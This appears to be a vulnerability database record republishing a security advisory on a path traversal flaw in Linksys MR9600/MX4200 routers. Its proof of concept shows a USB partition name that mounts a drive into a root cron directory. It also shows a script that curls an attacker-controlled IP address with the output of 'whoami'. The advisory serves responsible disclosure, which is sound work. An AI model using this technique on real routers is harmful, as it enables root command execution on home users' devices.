GCVE-1988-2026-0199
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:09
VLAI
EPSS
VEX
Title
[SYSS-2025-001] Linksys MX9600/MX4200 - Path Traversal
Summary
Advisory ID: SYSS-2025-001
Product: MR9600, MX4200 (and potentially others)
Manufacturer: Linksys
Tested Version(s): 1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200
Vulnerability Type: Path Traversal (CWE-22)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2025-03-18
Solution Date: -
Public Disclosure: 2026-02-12
CVE Reference: Not yet assigned
Author of Advisory: Christian Zäske, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
Linksys MX4200 is a Wi-Fi mesh router targeting home users.
The manufacturer describes the product as follows (see [1]):
"This router supports the latest Wi-Fi® 6 (802.11ax) standard for
next-level streaming and gaming. Its powerful WiFi 6 mesh coverage
offers faster WiFi performance for lag-free online gaming and
simultaneous streaming to every device and corner of your home."
Due to missing neutralization of special elements, the contents of
a USB drive partition can be mounted in an arbitrary location of the
file system. This can also result in the execution of shell scripts
in the context of the root user.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The Linksys MX4200 (and other models) provides a USB port to share the
contents of a USB drive as an SMB share in the local network.
Internally, the partition is mounted at "/tmp/anon_smb/<partition name>"
by the script "/etc/init.d/service_tsmb.sh". Because the script does not
neutralize special elements such as "../", the mount point can be changed
to arbitrary locations by setting the name of the partition on the USB
drive to "../../", followed by a path of the file system on the device.
By choosing a path where scripts get executed on a regular basis, this
vulnerability can be used to execute commands in the context of the root
user.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
To execute the following shell script, the partition of the USB drive
can be named "../../tmp/cron/cron.everyminute" and the script can be
copied to the root of this partition. After plugging the USB drive into
the device, the partition will be mounted at "/tmp/cron/cron.everyminute".
The following script shows the contents of the file "exploit.sh", which
will be mounted into the "cron.everyminute" directory:
#!/bin/bash
curl http://192.168.2.57/$(whoami)
Because this directory is used to run every script it contains for every
minute, the script will get executed in a maximum of 60 seconds.
On the attacker's computer, a simple HTTP server is spawned. After
plugging in the USB stick, the previous script is executed and access to
the HTTP server is logged, as can be seen in the following snippet:
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.1 - - [01/Jan/2024 13:00:00] "GET /root HTTP/1.1" 404 -
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
There is no known solution yet.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2024-11-11: Vulnerability discovered
2025-03-18: Vulnerability reported to manufacturer
2025-04-07: First response from manufacturer
2025-04-14: Requested an update from manufacturer
2025-05-06: Acknowledgment of vulnerabilities by the manufacturer
2026-02-12: Public disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] Product website for Linksys MX4200
https://support.linksys.com/kb/article/952-en/
[2] SySS Security Advisory SYSS-2025-001
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-001.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Christian Zäske of SySS
GmbH.
E-Mail: christian.zaeske () syss de
Key ID: 0x7B00D164A32F9AC9
Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL: https://creativecommons.org/licenses/by/3.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
10 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Linksys | Linksys MX9600/MX4200 - |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "Linksys MX9600/MX4200 -",
"vendor": "Linksys",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Christian Z\u00e4ske via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SYSS-2025-001\nProduct:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0MR9600, MX4200 (and potentially others)\nManufacturer:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Linksys\n\nTested Version(s):\u00a0 \u00a0 \u00a0 \u00a0 \u00a01.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\nVulnerability Type:\u00a0 \u00a0 \u00a0 \u00a0 Path Traversal (CWE-22)\nRisk Level:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Medium\nSolution Status:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Open\nManufacturer Notification: 2025-03-18\nSolution Date:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0-\nPublic Disclosure:\u00a0 \u00a0 \u00a0 \u00a0 \u00a02026-02-12\nCVE Reference:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Not yet assigned\nAuthor of Advisory:\u00a0 \u00a0 \u00a0 \u00a0 Christian Z\u00e4ske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi\u00ae 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to missing neutralization of special elements, the contents of\na USB drive partition can be mounted in an arbitrary location of the\nfile system. This can also result in the execution of shell scripts\nin the context of the root user.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides a USB port to share the\ncontents of a USB drive as an SMB share in the local network.\n\nInternally, the partition is mounted at \"/tmp/anon_smb/\u003cpartition name\u003e\"\nby the script \"/etc/init.d/service_tsmb.sh\". Because the script does not\nneutralize special elements such as \"../\", the mount point can be changed\nto arbitrary locations by setting the name of the partition on the USB\ndrive to \"../../\", followed by a path of the file system on the device.\n\nBy choosing a path where scripts get executed on a regular basis, this\nvulnerability can be used to execute commands in the context of the root\nuser.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo execute the following shell script, the partition of the USB drive\ncan be named \"../../tmp/cron/cron.everyminute\" and the script can be\ncopied to the root of this partition. After plugging the USB drive into\nthe device, the partition will be mounted at \"/tmp/cron/cron.everyminute\".\n\nThe following script shows the contents of the file \"exploit.sh\", which\nwill be mounted into the \"cron.everyminute\" directory:\n\n\u00a0 #!/bin/bash\n\u00a0 curl http://192.168.2.57/$(whoami)\n\nBecause this directory is used to run every script it contains for every\nminute, the script will get executed in a maximum of 60 seconds.\n\nOn the attacker\u0027s computer, a simple HTTP server is spawned. After\nplugging in the USB stick, the previous script is executed and access to\nthe HTTP server is logged, as can be seen in the following snippet:\n\n\u00a0 $ python -m http.server 80\n\n\u00a0 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...\n\u00a0 192.168.2.1 - - [01/Jan/2024 13:00:00] \"GET /root HTTP/1.1\" 404 -\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2024-11-11: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n\u00a0 \u00a0 https://support.linksys.com/kb/article/952-en/\n[2] SySS Security Advisory SYSS-2025-001\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-001.txt\n[3] SySS Responsible Disclosure Policy\n\u00a0 \u00a0 https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Z\u00e4ske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:09:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/10"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Feb/10"
},
{
"url": "http://0.0.0.0:80/"
},
{
"url": "http://192.168.2.57/$"
},
{
"url": "https://creativecommons.org/licenses/by/3.0/deed.en"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://support.linksys.com/kb/article/952-en/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
},
{
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-001.txt"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Feb/10"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2025-001] Linksys MX9600/MX4200 - Path Traversal",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0199",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/10",
"automated": true,
"contentSha256": "ad2608d3b5842e8443985c8493758e315f2e2443b842cda321d4fab259f90b97",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/10",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-02-12T10:12:30Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-09T10:09:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0199"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…